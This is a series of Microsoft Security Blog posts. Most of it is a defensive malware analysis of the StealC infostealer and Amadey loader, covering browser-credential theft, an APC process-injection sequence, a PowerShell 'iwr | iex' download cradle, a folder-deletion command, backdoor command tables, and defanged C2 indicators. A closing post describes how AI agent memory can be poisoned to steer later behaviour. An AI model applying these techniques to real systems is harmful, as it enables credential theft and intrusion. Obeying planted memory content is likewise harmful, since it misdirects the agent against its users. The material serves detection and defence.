Forrester does not endorse any company, product, brand, or service included in its research publications and does not advise any person to select the products or services of any company or brand based on the ratings included in such publications. Information is based on the best available resources. Opinions reflect judgment at the time and are subject to change. This report is part of a broader collection of Forrester resources, including interactive models, frameworks, tools, data, and access to analyst guidance. For more information, read about Forrester’s objectivity here . 

The post Microsoft a Leader in The Forrester Wave™ for Endpoint Management Platforms appeared first on Microsoft Security Blog.

Cloud security is shifting from visibility to context-aware risk reduction, helping security teams understand which exposures matter most, prioritize what can be exploited, and reduce risk across the application lifecycle. As organizations continue to expand across multicloud environments, Kubernetes, APIs, and AI-powered workloads, security teams are overwhelmed with signals. The challenge is no longer identifying individual risks, but determining which combinations of vulnerabilities, identities, and data exposures are most critical to address at the source.

Frost & Sullivan’s 2026 Frost Radar™ for Cloud-Native Application Protection Platforms (CNAPP) reflects this shift. The report highlights how CNAPP is evolving from a collection of posture and workload capabilities into a unified cloud risk operations platform—one that correlates signals across code, cloud, runtime, and SOC workflows to prioritize and reduce risk continuously. Within this evolving market, Microsoft is positioned among leading CNAPP vendors—reflecting alignment with where the category is heading.

Read the Frost Radar on CNAPP and explore how cloud risk is evolving Why CNAPP is being redefined

The Frost Radar makes a clear point: CNAPP is no longer about visibility or compliance—it is becoming an operational platform for reducing risk.

Modern environments introduce complexity across:

• Multicloud and hybrid infrastructure.
• Rapid development and continuous deployment.
• Containers, serverless, and APIs.
• AI-powered workloads.

This complexity exposes the limits of traditional tools.

Organizations now require platforms that can:

• Correlate posture, runtime, identity, and data signals.
• Prioritize risk based on exploitability—not severity alone.
• Integrate security across development and operations.
• Support faster investigation and response.

This is the shift: from detecting issues to operationalizing risk reduction across the application lifecycle.

What distinguishes leading CNAPP platforms

Frost evaluates CNAPP providers based on growth and innovation—but more importantly, on how effectively they help organizations manage risk.

According to the report, five themes define the next generation of platforms:

• Platform unification over point solutions.
• Code-to-cloud-to-SOC integration.
• Risk prioritization based on exploitability.
• Correlation across identity, data, and application context.
• Expansion into AI-powered workloads.

These capabilities represent a shift from fragmented visibility to connected, contextual risk management.

How Microsoft aligns with CNAPP’s next phase 1. Correlating risk across identity, endpoints, data, and cloud

Most security tools surface findings. Fewer connect them meaningfully. Modern attacks exploit the combination of misconfigurations, excessive permissions, and data exposure—not isolated issues. Microsoft Defender for Cloud correlates posture findings with identity, data, and runtime signals—helping surface risks that are exploitable. A misconfigured storage resource on its own may not appear critical. But when combined with excessive access permissions and the presence of sensitive data, it can create a clear attack path.

What this means: Security teams can prioritize real attack paths instead of individual findings, reducing alert fatigue and improving remediation speed and precision.

2. Extending security from code to cloud to SOC

Security must operate continuously across development, runtime, and operations.

Defender for Cloud connects:

• Code and infrastructure-as-code scanning.
• Cloud posture and runtime protection.
• Security operations and response workflows.

A vulnerability identified in infrastructure-as-code before deployment can be tracked through to runtime—where it is validated against real-world behavior and surfaced in security operations if actively exploitable.

What this means: Organizations move from fragmented workflows to continuous risk validation and response across the lifecycle.

3. Reducing complexity across fragmented security workflows

As environments scale, tool sprawl limits visibility and slows response. Microsoft delivers CNAPP capabilities as part of a connected platform—integrating posture management, workload protection, identity, data, and threat detection across multicloud environments. Instead of switching between separate tools, security teams can investigate a single incident across initial misconfiguration, runtime impact, and identity exposure, enabling a more connected experience.

What this means: Security teams can investigate faster, prioritize risk more consistently, and reduce exposure across fragmented cloud environments.

Where security leaders focus next

The Frost Radar offers a signal for where cloud security is headed: toward platforms that connect context across cloud environments so teams can prioritize the risks most likely to be exploited and reduce exposure faster.

Security leaders should now ask:

• Can the platform correlate signals across identity, end points, data, cloud, and runtime?
• Does it span the full code-to-cloud lifecycle?
• Can it prioritize risk based on exploitability—not just severity?
• Does it integrate with SOC workflows for faster response?
• Can it scale across multicloud and AI environments?

These are the capabilities that define the next generation of CNAPP.

Bottom line

Frost & Sullivan’s 2026 CNAPP analysis reinforces a clear shift: Cloud security is moving from fragmented visibility to unified, contextual risk management across the entire lifecycle. Microsoft’s position in the Frost Radar reflects this shift—bringing together posture, runtime, identity, end points, and data signals into a connected platform that helps organizations prioritize and reduce risk continuously.

Learn more

• Read Frost & Sullivan’s 2026 Frost Radar™ for Cloud-Native Application Protection Platforms (CNAPP) to see how leading vendors are evaluated—and how the category is shifting toward unified cloud risk operations platforms.
• Explore Microsoft cloud security solutions to see how unified posture management, risk prioritization, and protection across the application lifecycle can help reduce cloud risk.

To learn more about Microsoft Security solutions, visit our website. Bookmark the Microsoft Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.

The post CNAPP evolution: How Microsoft aligns with leading cloud risk management platforms appeared first on Microsoft Security Blog.

In this article

1. The role of infostealers: From credential theft to intrusion
2. StealC: Infostealer for rent
3. Amadey: Malware-as-a-service for delivery of infostealers
4. Defending against StealC and Amadey intrusions
5. Microsoft Defender detections
6. Indicators of compromise

Infostealers continue to be some of the most pervasive and impactful threats across the cybercrime ecosystem. They play a central role in intrusions, silently harvesting passwords, cookies, and session tokens before exfiltrating stolen data to attacker-controlled infrastructure. If not mitigated, these threats can turn a single consumer-device compromise into an enterprise risk: an infostealer infection on an employee’s personal device could yield corporate virtual private network (VPN) credentials, single sign-on (SSO) tokens, and session cookies that could allow an attacker to bypass multifactor authentication (MFA).  

In the cybercriminal ecosystem, infostealer families like StealC and malware delivery services like Amadey are sold and rented as commodities. Stolen data flows through an underground economy of access brokers that feeds ransomware and other operations. Because the initial infection usually happens outside managed endpoints, defenders might see the breach only after valid credentials are abused, underscoring the importance of identity protection, credential hygiene, and rapid response. 

In this blog, we examine how the infostealer economy has grown into a major threat to enterprise security, with a focus on StealC and Amadey. StealC is an infostealer that collects sensitive data from browsers, cryptocurrency wallets, messaging applications, email clients, and gaming platforms. It is a malware-as-a-service (MaaS) offering that threat actors use to generate customized payloads and manage stolen data through a centralized web panel. Meanwhile, Amadey is a MaaS loader that threat actors use to deliver StealC and other malware. Modular, pay-as-you-go models like StealC and Amadey allow threat actors to use a single initial infection to quickly escalate into multiple other threats.

On June 24, 2026, Microsoft’s Digital Crimes Unit (DCU), working with Europol and industry partners, announced a coordinated disruption action resulting in the takedown, suspension, and blocking of domains and command-and-control (C2) servers that formed the backbone of StealC and Amadey infrastructure. In total, DCU identified over 200 malicious Amadey and StealC command-and-control domains and IPs and moved to shut them down through a mix of court orders, domain seizures, registrations, and provider notifications.As part of this disruption, DCU engineered tools, including the use of Microsoft Copilot, to analyze StealC and Amadey binaries efficiently. These efforts included creating a prompt agent for performing comprehensive analysis of functions, using prompt engineering to generate a Python script for string decryption and extraction of configuration parameters, using Copilot to analyze disassembled malware code and identify C2 servers hardcoded into the malware binaries, and writing software with assistance from Copilot to confirm C2 activity.

The role of infostealers: From credential theft to intrusion

Infostealers like StealC, Lumma Stealer, RedLine, Raccoon, and Vidar enable division of labor across the cybercriminal ecosystem: initial operators deploy the malware at scale, and access brokers validate and monetize the stolen credentials, then resell them at a premium to threat actors seeking a foothold into enterprise environments.

When successfully deployed and executed, information-stealing malware can harvest credentials (usernames, passwords, and session cookies) from infected environments and export them as logs to the attackers’ server. These logs can hold credentials and tokens present on the compromised device, including corporate VPN, email, cloud, and SSO accounts. Stolen corporate credentials are extremely valuable, because a single working account can unlock many enterprise systems at once, especially if MFA could be bypassed using stolen session cookies. 

How an infostealer attack unfolds

While individual families differ in their tradecraft, infostealer-enabled intrusions follow a remarkably consistent path from delivery to impact. The infection chain could begin on an unmanaged or lightly protected device and end, often weeks later, inside a corporate environment, using credentials that look entirely legitimate.

Figure 1. A generalized end-to-end flow common to modern information-stealing malware, from initial lure through credential theft to downstream enterprise impact.

Infostealer operators favor delivery techniques that scale and rely on ordinary user behavior rather than software vulnerabilities. The most common is deceptive web traffic: search engine optimization (SEO) poisoning and malicious advertising push fake or trojanized versions of popular software, “cracked” applications, and game cheats to the top of search results. A user looking for a free utility downloads a working program bundled with a stealer. A fast-growing variant is the ClickFix technique, in which a website tricks users into pasting a command into the Windows Run dialog or terminal, unknowingly executing the attacker’s script themselves, sidestepping many download-based defenses. Phishing email remains a reliable delivery path as well, particularly for campaigns that target specific organizations or individuals.

Lastly, infostealers are frequently delivered by other malware. Loaders like Amadey, upon establishing a foothold, deploy a stealer, a banking trojan, or additional tooling on demand. Once the loader unpacks the infostealer in memory and evades detection, the infostealer harvests target data. After exfiltrating stolen data, the malware typically deletes itself to hinder investigation. As we discuss in the next section, stolen credentials and tokens rarely stay with the original operator. These are packaged into logs and sold, validated by intermediaries, and eventually monetized as enterprise access, enabling account takeover, fraud, and ransomware.

How stolen credentials are monetized

Once exfiltrated, infostealer logs are rapidly monetized. Within hours, credentials from infected devices often appear on dark web markets or Telegram channels for USD $10-50 per log, while premium logs (with bank or corporate accounts) fetch higher prices, up to $100+ each. However, recent analysis by researchers at Reliaquest shows that Russian markets selling logs as low as $2 per log. These “breach packages” might be purchased in bulk by initial access brokers, specialized intermediaries who test and resell network access.

Alternatively, the operators who originally stole the logs themselves might directly exploit the high-value credentials without involving an access broker or buyer. For example, some ransomware groups deploy infostealers and then use the captured credentials to get inside target networks. The timeline for stolen infostealer credentials turning into enterprise breaches varies widely. Some intrusions occur within 48–72 hours of credentials being stolen, while other stolen credentials could sit dormant for months before they’re used by an attacker.

Infostealer infections often occur outside managed networks, for example, an employee’s home PC where corporate security monitoring is absent. The stolen sign-in reuse might not raise immediate alarms because attackers authenticate with legitimate credentials, even bypassing MFA if they have a session cookie. As a result, many compromised organizations only discover malicious activity after the attacker has taken action (for example, ransomware deployment or a large-scale data exfiltration event). This stealthy progression could make infostealer-driven intrusions a challenge to detect in time.

Figure 2. Sample infostealer to ransomware attack chain StealC: Infostealer for rent

StealC is representative of the modern malware-as-a-service stealer: threat actors rent access to a StealC builder to produce customized samples and a web panel to manage stolen data. This model keeps the barrier to entry low and the volume of distinct samples high. StealC is written in C++. Upon execution, it fingerprints the compromised system, collects saved credentials and cookies from a wide range of browsers, targets cryptocurrency wallets and messaging applications, captures data from email clients, steals Steam session data, takes screenshots of desktop, and exfiltrates credentials to its C2 server.

The malware also functions as a secondary loader, capable of downloading and executing additional payloads (.exe, MSI, or PowerShell scripts) on command from the C2. After completing its tasks, the malware can optionally self-delete to reduce forensic evidence. In addition, StealC queries the system’s default language and runs a language check, terminating itself if the locale matches Russian, Ukrainian, Belarusian, Kazakh, or Uzbek.

Figure 3. Distribution of StealC infections from May 15-June 15, 2026

The malware attempts to create a Windows event using the victim ID as the event name. The victim ID format is <computer name>_<username>. If the event already exists, the malware enters a polling loop at intervals of less than five seconds (varies across variants) until the previous instance of itself completes. This is to avoid having multiple running instances on the device. StealC also contains an embedded expiration date. It compares the current system time against this expiration date and skips all malicious activity if the sample has expired.

C2 registration and configuration

StealC first sends a registration request to the C2 panel and constructs an HTTP POST request containing:

• Request type: create
• System hardware ID
• Malware build ID

This payload is RC4-encrypted using a hard-coded key, Base64-encoded, and then sent to the C2 through HTTP POST request. The decrypted C2 response is parsed as a JSON configuration object containing the following information:

• An access token used to authenticate all subsequent requests from the malware
• A list of browser stealing targets (paths, browser types, methods and types, which data to extract)
• A list of file-grabbing rules (target directories, file masks, size limits, recursion depth)
• Configuration flags controlling optional modules, including screenshot capture (take_screenshot), loader execution (loader), Steam theft (steal_steam), Outlook theft (steal_outlook), Foxmail theft (steal_foxmail), WinSCP theft (steal_winscp), and self-deletion (self_delete)

If this registration with C2 fails, the malware self-terminates immediately.

StealC performs a comprehensive collection of system information that is exfiltrated to the C2:

• Network information: IP address and country
• System identifiers: HWID, OS version and build number, system architecture
• User context: Username, computer name, running executable path
• Locale data: Local time, UTC offset, system language, installed keyboard layouts
• Hardware profile: CPU model, core and thread count, total RAM, battery/laptop detection
• Display configuration: Virtual screen resolution, monitor details (device name, adapter string, resolution, color depth)
• GPU information: Graphics adapter details
• Running processes: Full process list with names and PIDs enumerated through toolhelp snapshots
• Installed software: Application names and versions from the Uninstall registry keys for both all-users and current-user hives

Browser credential stealing

For Chromium browsers (like Chrome, Edge, Brave, Opera, Vivaldi, and others), the malware resolves the browser’s profile directory under %APPDATA% or %LOCALAPPDATA% and targets the following data stores:

• Sign-in data: saved user names and passwords
• Cookies: session cookies
• Web data: autofill entries and saved credit card information
• History: browsing history
• Local extension settings/Sync extension settings/IndexedDB: browser extension data (including cryptocurrency wallet extensions)

To defeat Chromium’s App-Bound Encryption (ABE), StealC does not decrypt these browser secrets within its own process. Instead, it carries an embedded payload (approximately 165 KB) that it injects into a sacrificial suspended process and executes through an asynchronous procedure call (APC). The injection sequence is as follows:

1. Spawns the target process with CreateProcessA using the CREATE_SUSPENDED flag
2. Allocates executable memory in the remote process with VirtualAllocEx (MEM_COMMIT, PAGE_EXECUTE_READWRITE).
3. Writes the embedded payload into that memory with WriteProcessMemory.
4. Queues the payload to the suspended thread with QueueUserAPC, then calls ResumeThread, so the APC fires and the payload runs in the process context
5. Waits for the injected code to finish with WaitForSingleObject, then frees the memory and closes the handles

Running in the target process context, the injected module performs the in-process decryption and writes the cleartext result to an inter process communication (IPC) file at C:\ProgramData\<HWID>.txt, where <HWID> is the victim hardware identifier. StealC then reads back up to 511 bytes of decrypted output from that file, processes the result, and deletes the temporary file. The routine retries the injection up to three times if it does not succeed.

The decrypted credential data is formatted as plaintext entries with fields for URL, login, and password, and is then exfiltrated to C2. For Firefox and other Gecko-based browsers (like Thunderbird, Waterfox, and others), the malware locates the profiles.ini to identify active browser profiles, then extracts data from the following:

• logins.json: stored credentials (hostname, encrypted user name, encrypted password)
• cookies.sqlite: session cookies
• formhistory.sqlite: form autofill data
• places.sqlite: browsing history and bookmarks

Additional credential theft activity

Beyond web browsers, StealC targets credentials saved by several desktop applications, processing each module in order and sending the results to the C2 as it completes them.

StealC enumerates Microsoft Outlook email account profiles stored in the registry under HKCU\Software\Microsoft\Office\<version>\Outlook\Profiles and HKCU\Software\Microsoft\Windows Messaging Subsystem\Profiles. It reads the account values for each profile, including the server settings and user names, and recovers the saved account passwords from their stored encrypted form so that mail server credentials (IMAP, POP3, and SMTP) could be exfiltrated.

The malware also targets the Foxmail email client. It locates the Foxmail data directory and parses account storage files (for example, the Accounts records under each account’s Storage folder). It then extracts the configured email addresses, server details, and saved passwords, decrypting Foxmail’s proprietary password encoding to recover the credentials in plaintext.

For the WinSCP File Transfer Protocol (FTP) and SSH FTP (SFTP) client, the malware collects saved session credentials from either the registry key HKCU\Software\Martin Prikryl\WinSCP 2\Sessions or, when portable storage is used, the WinSCP.ini file. For each session, it recovers the host name, user name, and password, reversing WinSCP’s custom password obfuscation so the stored credentials could be exfiltrated.

To perform file grabbing, the malware processes a list of rules received from the C2. Each rule specifies a target directory, file mask patterns, recursion depth, and optional size limits. The grabber uses recursive directory enumeration to walk the target path. Selected files are copied to a staging directory under C:\ProgramData and read into memory to be exfiltrated to C2. The temporary copy is then deleted.

If enabled in the C2 configuration, the malware specifically targets the Steam gaming application. First, it retrieves the Steam path from the registry key HKCU\SOFTWARE\Valve\Steam and then navigates to the configuration subdirectory inside and collects the following files:

• ssfn*
• config.vdf
• DialogConfig.vdf
• DialogConfigOverlay*.vdf
• libraryfolders.vdf
• loginusers.vdf

If enabled by the C2 configuration, the malware can also capture a full screenshot of the victim’s desktop using the following operations:

1. Obtains the virtual screen dimensions (spanning all monitors)
2. Performs a screen capture using a device context and bit-block transfer
3. Encodes the captured bitmap as a JPEG image at 90% quality
4. Exfiltrates the result

After data collection is complete, the malware contacts the C2 again with request type loaderwhile authenticating with the previously received access token. The C2 responds with a list of payloads to download and execute. The following three execution methods are supported:

• EXE execution: Downloads a file, saves it with an .exeextension, and executes the payload
• PowerShell cradle: Constructs a download-and-execute command (iwr <URL> |iex) and launches it through PowerShell
• MSI installation: Downloads a file, saves it with an .msi extension, and installs it silently through msiexec.exe /i “<path>” /passive

After all stealing modules have finished, the malware sends a final done notification to the C2 panel, including the access token. This signals to the operator that data collection for the compromised device is complete. All stolen data, such as system information, browser credentials, grabbed files, and screenshots, are transmitted in individual POST requests throughout the execution flow, each being RC4-encrypted and Base64-encoded. If the self-delete flag is set in the C2 configuration, the malware removes itself from disk as its final operation by executing the following command:

Amadey: Malware-as-a-service for delivery of infostealers

Active since at least 2018, Amadey operates as a malware-as-a-service (MaaS) that has been used as a delivery mechanism for downstream malware such as StealC, Lumma Stealer, remote access trojans (RATs), crypto miners, and, in some cases, ransomware.

Figure 4. Distribution of Amadey infections from May 15 to June 15, 2026

In December of 2025, researchers at Trellix reported threat actors using the Amadey loader to retrieve the StealC infostealer from a compromised self-hosted GitLab instance, rather than from more familiar public hosting like GitHub. The point of that approach was to make the delivery infrastructure look more legitimate by using a long-established domain with valid TLS certificates, which can help the activity blend in and evade some traditional defenses.

This attack chain began with the first-stage Amadey loader. Once executed, the loader created a mutex to prevent duplication, performed discovery actions, and began communicating with its C2 server. Follow-on activities included the execution of additional components including a clipper plugin, use of PowerShell to expand archived payloads, deployment of additional payloads, and the execution of StealC, which communicated with its own separate C2 infrastructure after execution.

Amadey predates the current infostealer boom but has found renewed relevance as a delivery mechanism. It is a modular backdoor written in C++. It communicates with its C2 server over HTTP and supports backdoor commands for file download, file execution, command execution, modular updates, and network proxy. Operators can push plugins that add capabilities such as credential and clipboard theft, or simply use Amadey to download and run other malware, including infostealers. 

Scheduled task persistence

Upon execution, Amadey attempts to copy itself to the file nudwee.exe in the following target directory, depending on the system:

• On Windows 10 or Windows 11: C:\Users\<user name>\e079729711
• Others: %TEMP%\e079729711

After copying its own executable to this path, the malware executes it before creating a scheduled task to establish persistence for the payload.

System information collection

The malware builds a victim fingerprint POST request body with the following fields:

FieldDescriptionid:Bot IDvs:Version (“5.34”)sd:SD identifier (“8ac688”)os:OS versionbi:Bitness (32/64-bit)ar:Admin rightspc:Computer nameun:User namedm:Domain nameav:Installed antivirus productslv:Level (“0”)og:File size flag

This body is then RC4-encrypted and hex-encoded and later sent to C2 during the C2 bot registration phase.

The malware continues its infection by querying the system registry for keyboard layouts. The malware specifically checks for the following layout IDs:

• 00000419: Russian
• 00000422: Ukrainian
• 00000423: Belarusian

This sets up an internal flag, which is checked before executing certain commands to skip certain functionalities like credential stealing and clipboard stealing.

C2 communication

The malware communicates with its C2 serverover HTTP. In the first phase, the malware performs a status check by sending “st=s“in an HTTP POST request to C2. The C2 server responds with a sleep multiplier, which is a value to specify how long the malware sleeps between command execution.

In the next phase, the malware performs bot registration by sending the RC4-encrypted victim information to the C2. Once this is complete, the C2 starts sending backdoor commands to the Amadey backdoor. After each backdoor command is executed, the malware sleeps for the specified duration before receiving a new backdoor command. All communications between the malware and its C2 infrastructure are encrypted using RC4, with the encryption key embedded in the malware’s configuration.

The following table lists the backdoor commands that Amadey could process and their descriptions:

Backdoor codeNameDescription0x0A (10)Drop EXEDownloads file from a URL, saves it as .exe, executes the payload0x0B (11)Drop DLLDownloads a .dll file, loads it through rundll32.exe to execute the payload0x0C (12)Execute CMDRuns a command through cmd.exe  0x0D (13)Download and injectDownloads a payload from a URL, performs process injection to execute; retries once with 1s delay0x0E (14)Execute PS1Downloads and executes a PowerShell script (.ps1) 0x0F (15)SOCKS proxy STARTReceives target address, sets proxy flag, and spawns background thread running SOCKS relay loop0x10 (16)SOCKS proxy STOPDisables proxy flag to terminate relay loop and tears down proxy0x12 (18)Self-update (rename)–  Compares local binary size against server threshold; if a newer version is available, self-updates by downloading a new executable from the C2, renaming the old binary with the new one, and executes it0x13 (19)Self-uninstallRemoves scheduled task, writes RunOnce registry key to execute cmd /C RMDIR /s/q C:\Users\<user name>\e079729711 to delete the malware folder on reboot, self-terminates0x14 (20)Capture and exfiltrate screenshot– Captures a screenshot, saves it as JPG in the system temporary directory using the victim’s unique unit ID as the filename, and uploads it to the C2 server through an HTTP multipart/form-data POST request (?scr=1), sending the image as the data field – To improve reliability, attempts up to three screenshot uploads using different configured C2 servers; once the upload process completes, the temporary JPG file is deleted from disk0x15 (21)Steal credentialsDownloads and loads cred.dll plugin from C2 /Plugins/ path through rundll32.exe cred.dll, Main0x16 (22)Steal clipboardDownloads and loads clip.dll plugin through rundll32.exe clip.dll, Main0x17 (23)VNC / Remote accessDownloads VNC plugin manifest from C2, parses for up to 3 component files, downloads and installs each on the infected machine0x18 (24)Enable RDP– Enables Remote Desktop by allowing inbound RDP connections to the host system – Sets fDenyTSConnections=0 in registry – Executes system commands to enable the Remote Desktop firewall rule, configure the Terminal Services to auto-start, and launch the service; this ensures RDP access is both permitted through the firewall and persistently available across reboots0x19 (25)Create hidden admin– Extracts credentials from backdoor data to create a new local user account, then escalates it by adding the account to the Administrators group to ensure full system privileges – Disables password expiration and preventing password changes on this admin account0x1A (26)Russian system checkConfirms if Amadey is running on a Russian system0x1B (27)Drop MSIDownloads .msi file, installs with /quiet flag0x1C (28)Execute CMD (elevated)Runs command via cmd.exe with elevated privilege0x1D (29)Drop EXE (elevated)Downloads .exe, executes with elevated privilege

Plugins like cred.dll and clip.dll are downloaded from the C2 server at runtime.

In the generic handler used by commands 0x0A, 0x0C, 0x1B, 0x1C, 0x1D, the C2 can specify one of these in the backdoor data for the payload drop location:

ValueLocation0 AppData (%APPDATA%)1 Temp (%TEMP%)2 User Profile (%USERPROFILE%)3 Desktop Defending against StealC and Amadey intrusions

To defend against attacks from infostealers like StealC and malware families like Amadey, Microsoft recommends the following mitigation measures:

• Read the human-operated ransomware threat overview for advice on developing a holistic security posture to prevent ransomware, including credential hygiene and hardening recommendations.
• Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a huge majority of new and unknown variants.
• Encourage users to use Microsoft Edge and other web browsers that support Microsoft Defender SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware.
• Turn on tenant-wide tamper protection features to prevent attackers from stopping security services or using antivirus exclusions. Without tamper protection, attackers could simply turn off Microsoft Defender Antivirus without the need to acquire higher privileges.
  • Customers running Intune or Microsoft Defender for Endpoint Security Configuration can enable DisableLocalAdminMerge to prevent modification of antivirus exclusions via GPO.
  • In addition to tamper protection, you can also enable and configure Microsoft Defender Antivirus always-on protection in Group Policy.
  • If there is an issue with a device during roll out of various antivirus features, the device can be placed in troubleshooting mode to turn off tamper protection temporarily without impacting the wider organizational security policy.
• Microsoft Defender XDR customers can turn on attack surface reduction rules to prevent several of the infection vectors of this threat. These rules, which can be configured by any user, offer significant hardening against targeted attacks. In observed attacks, Microsoft customers who had the following rules turned on could mitigate the attack in the initial stages and prevent hands-on-keyboard activity:
  • Use advanced protection against ransomware

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Tactic Observed activity Microsoft Defender coverage PersistenceThreat actors distributed malware familiesMicrosoft Defender for Antivirus
– Trojan:Win32/Amadey
– Trojan:Win64/Amadey
– Trojan:MSIL/Amadey
– Trojan:PowerShell/Amadey
– Behavior:Win64/Amadey
– Behavior:Win32/Amadey
– TrojanDownloader:Win32/Amadey
– TrojanDownloader:Win64/Amadey
– TrojanDownloader:PowerShell/Amadey
– TrojanDownloader:MSIL/Amadey
– TrojanDownloader:Win64/Stealc
– TrojanDownloader:VBS/StealC
– TrojanDownloader:PowerShell/StealC
– TrojanDownloader:MSIL/StealC
– Trojan:Win64/Stealc
– Trojan:Win32/Stealc
– Trojan:MSIL/Stealc
– Behavior:Win64/Stealc

Microsoft Defender for Endpoint
– ‘Amadey’ malware was prevented
– ‘StealC’ malware was prevented
– User account created under suspicious circumstances
– New group added suspiciouslyInformation stealing malware activityImpactThreat actors can deploy ransomwareMicrosoft Defender for Endpoint
– Ransomware-linked threat actor detected
– A file or network connection related to a ransomware-linked emerging threat activity group detected   Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

• Tool profile: Amadey
• Tool profile: StealC
• Tool profile: Lumma Stealer
• Tool profile: Information stealers

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Indicators of compromise IndicatorTypeDescription8f32456359f209a63adfd24b94235e1727382ac7f7bb7f2bcaf754e721925b64SHA-256StealC0215f734867bd71c57ff5c524d8cc670be5b4f1861b2c390cf46d18784a53624SHA-256StealC2a0f053855da59b3b56812e580d7baeba59fc9493694722aa9e3f121ee3363f1SHA-256StealC977b33a9b481cf714946b7d386865cd5d284312aa5ecfa0546c197b1003e1bdeSHA-256StealCb7d1f172ff3feafe65d47fd1cbe0cc249316371ae0e1cbe3a7c741c738b3353dSHA-256Amadey 5.879383572a30ae5b76fadd0700fbd7a1aa7b05d0b6c8f9cdaef9b30a3e1f65d57dSHA-256Amadey 5.865f5b25b2e35d404034d0d60975cf1ffbc6f141761ec3f4f15d6f7c6213a056f6SHA-256Amadey 5.8098e504cc7125b79eda5491f40b998605a05f4cd968b961aab4cce7beb074fefeSHA-256Amadey 5.7830cef3d3d956e83e2c50579cfbe57a49159cccbcc8b0b0422f27d55e1c401ad9SHA-256Amadey 5.778cef760d11d24fc2e9bbd9f770dca5105854f7ece3b0e6948d7c8b7fdd1765eaSHA-256Amadey 5.7399507f18c4e61fdb109805404bf6a79ea8ce2fddc590ce48d717e97516ab7e8dSHA-256Amadey 5.701246c5b89ab668c1137f377507bc3e266a98e93248382aa026610ae1e764a497SHA-256Amadey 5.65d43c988d6f9cb355497696b580621fb1bdb7b6ed6d90f97520ecf6da5a1a41ffSHA-256Amadey 5.64ca4d4c4fc3e5d5cfa922b898f2d7411f03a446dddb139ba45dfd4f8f0018b64fSHA-256Amadey 5.6343455f1ff4a623b783da670d052eb77eaaacb0c66a9f1e8508f802bf22e8129eSHA-256Amadey 5.60hxxp://polse[.]us/62ea47cac2534aa18f74.phpC2 URLStealC C2hxxp://roger99699[.]xyz/425f1faf4b214434b8a3.phpC2 URLStealC C2hxxp://bluescry[.]com/01f96fd710e905ca2326.phpC2 URLStealC C2hxxp://secure.controlpanel[.]asia/330311481fe14ab99814.phpC2 URLStealC C2hxxps://neltron-geltron[.]shop/e396586b99ee49d19cc3.phpC2 URLStealC C2hxxp://cdntestconnect[.]com/ed54b97a570943999715.phpC2 URLStealC C2hxxps://bartsen284[.]online/39d9612df78e45b5a4bb.phpC2 URLStealC C2hxxp://goodpanelforgoodjob[.]com/hg8jjfSr5hy/index.phpC2 URLAmadey C2hxxp://rebustan[.]top/gd7djkDveE2/index.phpC2 URLAmadey C2hxxp://svclsc[.]com/ms/index.phpC2 URLAmadey C2hxxp://microsoft-telemetry[.]at/cvdfnaFJBmC0/index.phpC2 URLAmadey C2hxxp://spasopro[.]at/Lsge63sd3/index.php C2 URLAmadey C2 References

• Amadey Exploiting Self-Hosted GitLab to Distribute StealC Trellix
• HELLCAT Ransomware Group Strikes Again: Four New Victims Breached via Jira Credentials from Infostealer Logs InfoStealers by HudsonRock
• The Infostealer Pipeline How Russian Market Fuels Credential Based Attacks ReliaQuest
• Stealer Logs and Corporate Access Flare

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post StealC and Amadey: Breaking down infostealers and the cybercrime services that deliver them appeared first on Microsoft Security Blog.

In this article

1. What AI memory is (and why it matters)
2. What is an agent memory attack?
3. How Microsoft approaches memory security in Microsoft 365
4. A guiding framework for building safe AI memory
5. Key takeaways
6. Learn more

AI memory transforms an AI system from a stateless tool into a learning collaborator.  That unlocks powerful experiences, but it also increases the attack surface of the AI system. Without memory, attackers need to achieve their objective in a single prompt.  With AI memory, they can shape behavior gradually over time or plant memories that influence agent reasoning after the original context is gone and user awareness is lower.

Microsoft takes a defense-in-depth approach to protect AI memory spanning every layer of the stack: storage, retrieval, model interaction, and user control.

What AI memory is (and why it matters)

 AI systems use memory to retain and recall information across interactions. This information is then used to shape future behavior. This enables:

1. Personalization: Agents gain a deep understanding of the user’s preferences.  This provides continuity across interactions.
2. Agentic coherence: Agents build durable domain knowledge that strengthens performance. As AI systems evolve, this persistent state becomes central to both capability and correctness.

What is an agent memory attack?

AI memory serves two roles. It stores high-value user information and must be protected like customer data. It also shapes agent behavior and drives tool calls and must be governed with the same rigor as any system that can act. Memory governance is also challenging since memory events usually happen asynchronously from user interactions, changing traditional human in the loop patterns.

AI memory changes the threat model. Without memory, attackers need to “win” in a single prompt. Using AI memory, an attacker can stage an attack over time. Once compromised, memory can trigger behaviors outside of their original context. Since AI memory attacks happen outside of their original context, defenses are often lower and forensics are harder.

Building safe AI memory is one of the most consequential challenges in AI. It requires balancing personalization, capability, privacy, security, and governance.

